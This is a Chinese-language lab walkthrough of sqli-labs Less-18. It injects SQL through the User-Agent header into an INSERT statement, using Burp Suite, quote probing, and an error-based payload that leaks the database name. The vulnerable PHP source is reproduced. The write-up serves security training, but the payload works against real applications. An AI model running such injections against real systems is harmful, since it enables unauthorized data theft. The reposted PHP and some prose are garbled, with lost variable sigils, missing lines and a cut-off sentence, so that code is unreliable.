sqli-labs less18 User-Agent

  • 转自一个不知名大佬的笔记
    ------------------------------------less-18----------------------------------

-- 先思考:一进入less-18 的 网页,就显示出这个 IP 地址了,能不能对这个IP 进行 注入呢?
(答案在less-19中)

原url:

http://192.168.137.138/sqli-labs-master/Less-18/

用以前学的所有知识,在username 和 password 框里进行注入测试

都没用,什么基于错误啦,联合查询啦,盲注啦,反正反馈页面没给出任何有用的信息

那么就说明,在username和password框里POST传参后,后台里进行了防注入处理,所以变得不可注入或是很难注入了

那么无奈,看看登陆正确的返回页面吧,admin,admin

返回了 User-Agent

这也是一个注入点啊

不过要先去学习 INSERT INTO 语句。这是从 返回页面 判断出的信息:后台可能有 INSERT INTO 语句 插入了 UA 信息,然后再反馈出来

什么是 User-Agent?

User-Agent 是 Http 协议中的一部分,属于头域的组成部分, User Agent 也简称UA。用较为普通的一点来说,是一种向访问网站提供你所使用的浏览器类型、操作系统及版本、CPU 类型、浏览器渲染引擎、浏览器语言、浏览器插件等信息的标识。UA字符串在 每次 浏览器 HTTP 请求时 发送到服务器!

浏览器UA 字串的标准格式为: 浏览器标识 (操作系统标识; 加密等级标识; 浏览器语言) 渲染引擎标识 版本信息

那么,想一想,每次发送请求时,都会给一个 UA 发给服务器,那么在反馈页面中,又出现了我们的 UA 信息,这说明什么?

说明了 我们的 UA 信息,很有可能 被后台 用 INSERT INTO 插入语句,插入到数据库中,然后再读取出来,所以才能在页面上显示,也就是说,这个过程中与服务器发生了交互。如果说:后台没有对 UA 信息进行 过滤处理 的话,那是不是能够从 UA 这里 展开注入呢?
(这里值得注意的是,返回页面显示出 Referer 信息,并不一定需要有 数据库 交互,也可以直接从 HTTP HEADER 中获取,直接回显出来,那么这样的话,就没法 从 Referer 注入了)

现在 去 用 一些测试语句 去测试一下 服务器 有没有 特殊的反馈信息

先用 BurpSuite 抓包(这里 不知道为什么 一定要 username 和 password 都是真实的才能注入)
------------------------------因为,后台php语句的限制
(用admin,admin 去 提交)

抓包效果如下:

POST /sqli-labs-master/Less-18/ HTTP/1.1Host: 192.168.137.138
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://192.168.137.138/sqli-labs-master/Less-18/Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 38uname=admin&passwd=admin&submit=Submit

抓到包中可以分析信息:

这个 是 POST 型传参, 目录是 /sqli-labs-master/Less-18/ http 协议版
本Http/1.1

目标地址: 192.168.137.138

User-Agent 也有

我们可以直接在 BurpSuite 中改 UA

先将 Proxy 中抓的包,传递到 Repeater 中

点击 GO
右边蓝框中 有 RAW HEADERS HEX HTML RENDER 选项,选 RENDER ,是类似于浏览器的显示方式

现在,先改变 UA 的传递信息

删除真实信息,并加上一个 ' 或者 "

用 " 的时候,返回页面:

Your User Agent is: "

并没有报错,但又把 我们输入的 " 给显示了出来,说明 闭合 条件应该不是 "

用 ' 的时候,返回页面报错了

Your User Agent is: '
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '192.168.137.136', 'admin')' at line 1

错误分析:

near '192.168.137.136', 'admin')' at line 1

虽然这个错误并不明显,但是也可以看出,在传递 UV 时,由于我们把 UA 信息改成了 ' ,很有可能破坏了 其 闭合条件,所以报错了,并且 同时爆出了 后面的 ip 参数 和 username 参数,他们都是由'' 闭合的,那 UA 是不是由 '' 闭合的呢?

猜测 后台 sql 语句:

insert into table values('UA','IP','username')

把 我们 改写的 UA 信息 ('),放入 猜测的语句中

insert into table values(''','IP','username')

这里 多了一个’,造成了语法错误

那么现在进一步验证

将 UA 信息改成 : '\

返回页面的报错:

Your User Agent is: '\
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\', '192.168.137.136', 'admin')' at line 1

错误分析:

near ' ', '192.168.137.136', 'admin') ' at line 1

我本来是手动输入的: '\

为什么会变成 ' 呢?

现在,将 '\ 放入 之前猜测的 后台语句 中:

insert into table values(''','IP','username')

可见:第一处VALUES 值为空,然后 ' 并没有满足 闭合条件,所以爆出语法错误了,顺接着后面的 IP 和 USERNAME 也爆出来了

那么 VALUES 中到底有 几个值,这几个值都是什么闭合条件的呢?

由上面的测试中已经得出了答案:

由于我们在 UA 出修改的值,爆出了 后面 IP 和 username ,他们应该是意义对应的,所以应该是对应3个值

其中后两个 值 是由 '' 包裹的,第一个值一般情况也是由 '' 包裹,为了确认,也已经做了 '\ 注入实验。所以后台的insert 语句应该是:

insert into table values('UA','IP','username')

好了,现在构造一个简单的语句,去进行上面猜测的验证:

当然了,需要满足 VALUES 值的闭合条件,就是这个括号()

1',1,1=1) #

先把这个语句放入 猜测的语句中

insert into table values('1',1,1=1) #','IP','username')

这已经人为的改变了他的insert语句

为什么 这个新语句中,1 还有 1=1 没有闭合条件,而第一个'1'有闭合条件呢?

因为这是我们自己创造的嘛,不用那么麻烦,需要闭合的条件 全被 一个 # 注释掉了

但是在这之前 本来就已经有一个 ’在哪儿等着了,所以第一个还是要构造闭合的

效果如下:

返回页面显示,登陆成功,同时也显示了 UA 信息:

Your User Agent is: 1',1,1=1) #

这说明呢,猜测的语句是正确的

这里呢,可以把 VALUES('1',1,1=1) 中的 3个值的位置,替换成更复杂的 注入语句

在前文中,发现一个特点,当 VALUES 语句中 出现错误时,会爆出错误

而且 VALUES 又能够 执行 逻辑运算结果的值

所以,这里就可以利用 以前学的 MySQL 的逻辑错误 BUG 了

构造一个基于错误的语句,查询当前数据库名

(select 1 from (select count(),concat(':::',database(),':::',floor(rand()2))x from information_schema.columns group by x) a )

把它放到 1=1 那个 VALUES 值的位置

注入语句为:

1',1,(select 1 from (select count(),concat('::',database(),'::',floor(rand()2))x from information_schema.columns group by x) a)) #

效果如下:

Your User Agent is: 1',1,(select 1 from (select count(*),concat('::',database(),'::',floor(rand()*2))x from information_schema.columns group by x) a)) 
  Duplicate entry '::security::0' for key 'group_key'

可见,当前数据库名信据库名,表名,列名,内容 呢 这里就不一一爆了

通过本次课的学习呢

要注意两点:

1、 熟练掌握 INSERT INTO 语句的用法(一个基本的语句)

2、 注入点位置的广泛性

要掌握一种概念:

常规概念是,注入发生在 URL 或者在 POST 中。其实注入时随时都有可能发生的,只要是 数据 和 数据库 存在交互,那么就有可能 把 恶意的注入语句 插入 数据库中,获取信息。思维要开阔,想到各种的注入点

-----------------------------------源码部分----------------------------------

//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);

function check_input(value))
{
// truncation (see comments)
value,0,20);
}

    // Stripslashes if magic quotes enabled
    if (get_magic_quotes_gpc())
        {
        $value = stripslashes($value);
        }

    // Quote if not a number
    if (!ctype_digit($value))
        {
        $value = "'" . mysql_real_escape_string($value) . "'";
        }
    
else
    {
    $value = intval($value);
    }
return $value;
}



$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
echo "
"; echo 'Your IP ADDRESS is: ' .$IP; echo "
"; //echo 'Your User Agent is: ' .$uagent;

// take the variables
if(isset(_POST['passwd']))

{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);

/*
echo 'Your Your User name:'. $uname;
echo "
"; echo 'Your Password:'. $passwd; echo "
"; echo 'Your User Agent String:'. $uagent; echo "
"; echo 'Your User Agent String:'. $IP; */ //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'User Agent:'.$uname."\n"); fclose($fp); $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; $result1 = mysql_query($sql); $row1 = mysql_fetch_array($result1); if($row1) { echo ''; $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"; mysql_query($insert); //echo 'Your IP ADDRESS is: ' .$IP; echo ""; //echo "
"; echo ''; echo 'Your User Agent is: ' .$uagent; echo ""; echo "
"; print_r(mysql_error()); echo "

"; echo ''; echo "
"; } else { echo ''; //echo "Try again looser"; print_r(mysql_error()); echo "
"; echo "
"; echo ''; echo "
"; } }

?>

其中
_SERVER['HTTP_USER_AGENT'];
_SERVER['REMOTE_ADDR'];

这两句就是在 获取 IP 和 UA 信息了

$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);

这两句,把刚传到服务器 的uname 和 passwd 字符串 就拿去 做 防注入测试

uname and users.password=result1 = mysql_query(row1 = mysql_fetch_array(row1)
{
echo '';
uagent', 'uname)";
mysql_query($insert);

这一部分,就是说明了 为什么 要 正确的 username 和 正确的 password 才能用 insert into 语句 注入

因为, INSERT INTO 语句 在 row 1 正确的情况下 才会执行.....

print_r(mysql_error());

因为存在这一句,所以有了 利用 逻辑 BUG 的理由,还有, 注入的地方只会影响到 insert into 语句,不能进行 联合查询 union select ,所以也只能进行 盲注 或者 逻辑错误了

本来 row1 正确 和 错误的情况 都有 print_r(mysql_error()); 的,但是由于 username 和 password 注入太难了,所以,就只能走 正确的 ROW1 然后通过 INSERT INTO 注入了

你可能感兴趣的:(sqli-labs less18 User-Agent)